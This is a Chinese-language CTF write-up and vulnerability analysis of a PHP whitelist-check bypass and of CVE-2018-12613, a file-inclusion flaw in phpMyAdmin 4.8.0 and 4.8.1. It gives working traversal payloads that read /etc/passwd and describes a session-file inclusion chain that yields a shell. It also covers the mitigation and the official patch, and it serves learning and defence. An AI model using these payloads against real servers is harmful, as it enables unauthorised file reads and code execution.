打开题目一张图片,直接查看源码,提示source.php

1

访问/source.php得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

题目接受一个get参数file

3

这个参数需要满足2个条件:

  1. 这个参数得是string类型的;
  2. 这个参数传入emmm::checkFile()函数后需要返回true

再来看一下这个checkFile函数,这个函数里有两个陌生的函数:mb_substrmb_strpos

mb_substr

Syntax:mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string

$str:必需,会从该string中提取子字符串;

$start:必需,规定从字符串的何处开始;

$length:可选,规定要返回的字符串长度,默认就是到字符串的末尾;

encoding:可选,字符编码,默认是内部编码。

Return: 返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。

mb_strpos 同 strpos函数

Syntax:strpos(string,find,start)

string:必需,被搜索的字符串;

find:必需,要查找的字符串;

start:可选,开始搜索的位置。

Return: 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

然后这里还用到了in_array($page, $whitelist)来判断传入的参数$page(就是原始的$_REQUEST['file']参数)是不是在$whitelist中。

$whitelist是一个有序映射(key=>value):$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

而这里需要搞清楚的是in_array()它是匹配value而不是key,如下图这个例子,被匹配到的是aaa,即value,而不是key。

2

所以$_REQUEST参数值必需包括source.php或是hint.php

所以直接令?file=hint.php,程序会执行include $_REQUEST['file'];也就是include "hint.php":

4

提示flag文件在ffffllllaaaagggg,所以我们需要构造使得最后include $_REQUEST['file']里能够包含这个文件。

5

在第17行可以看到,程序会从$page,也就是传入的参数中提取指定长度的字符串,这个长度由mb_strpos($page.'?', '?')决定。

mb_strpos会从$page."?"字符串中寻找第一次出现?符号的位置并返回,所以mb_substr($page, 0, mb_strpos($page. '?', '?'));会返回第一次出现?符号前面的字符串(不包括?符号)。

所以我们只要构造这样的payload:

1
?file=hint.php?../../../../../../../../../../ffffllllaaaagggg

就可以在checkFile函数成功返回true,然后就会执行include $_REQUEST['file'],将flag文件成功包含。

6

CVE-2018-12613 phpmyadmin文件包含漏洞

这道题其实来自CVE-2018-12613,比起上面这道题目要稍微复杂一点。

漏洞描述

该漏洞可以让攻击者在服务器上查看或是执行文件。

漏洞利用前提是攻击者必须先经过身份验证,但以下两种情况例外:

  1. $cfg['AllowArbitraryServer']=true:攻击者可以指定他已经控制的主机,在phpMyAdmin上执行任意代码;
  2. $cfg['ServerDefault'] = 0:能绕过登录,允许在没有经过任何身份验证的情况下运行容易受到攻击的代码。

这个漏洞还是挺严重的,官方的评级是Severe

影响版本

phpMyAdmin 4.8.0和4.8.1

复现环境

  • Ubuntu 18.04
  • php 5.6.40 + phpMyAdmin 4.8.1 + Mysql 5.7

创建PHP My Admin用户:

1
2
mysql> CREATE USER 'pma481'@'%' IDENTIFIED BY '123456';
Query OK, 0 rows affected (0.02 sec)

授予超级用户权限:

1
2
3
4
5
mysql> GRANT ALL PRIVILEGES ON *.* TO 'pma481'@'%' WITH GRANT OPTION;
Query OK, 0 rows affected (0.00 sec)

mysql> flush privileges;
Query OK, 0 rows affected (0.02 sec)

漏洞成因

index.php:

7

第55行的if条件需要满足5个条件:

  1. !empty($_REQUEST['target'])target参数需要存在;
  2. is_string($_REQUEST['target'])target参数需要是string类型的;
  3. !preg_match('/^index/', $_REQUEST['target'])target参数不能以index开头;
  4. !in_array($_REQUEST['target', $target_blacklist)target参数值不能在$target_blacklist中;
  5. Core::checkPageValidity($_REQUEST['target']target值需要通过该check函数。

$target_blacklist也定义在index.php中:

8

只要target的值不在$target_blacklist中就可以绕过了,所以前4个条件很容易满足。

跟进checkPageValidity函数(位于libraries/classes/Core.php文件):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

return false;
}

因为没有传进$whitelist参数,所以开始$whitelist被初始化为self::$goto_whitelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',
);

checkPageValidity函数中可以看到,传入的$page参数中要通过该函数验证满足以下一个条件就可以:

  1. $page参数包含在$whitelist之中;
  2. 经过mb_substr$page参数(也就是$_page参数),需要包含在$whitelist中;
  3. $_page参数进行urldecode之后,再进行一个次mb_substr的结果在$whitelist中。

9

漏洞利用

poc:

1
localhost/phpMyAdmin-4.8.1/index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd

10

getshell

选择SQL,执行select语句:

15

php会序列化参数传递的值,然后保存在本地的session文件中,对于Linux的session保存目录就是/var/lib/php/sessions,对应的session文件就是sess_[your session id]

所以F12查看一下当前查询的session:

13

所以对应的session文件就是/var/lib/php/sessions/sess_92o01utbpqift1ogm86flv4beeapadek

payload:

1
localhost/phpMyAdmin-4.8.1/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_92o01utbpqift1ogm86flv4beeapadek

14

官方给出的缓解手段是设置正确的open_basedir,比如在php.ini中将open_basedir设置为/var/www/html,然后重启apache服务器,再执行上述getshell操作,发现被拦截了。

16

官方修复

index.php

11

libraries/classes/Core.php

12

从官方补丁来看,修复之后就是直接根据第一次in_array($page, $whitelist)的结果来判断$page参数的合法性。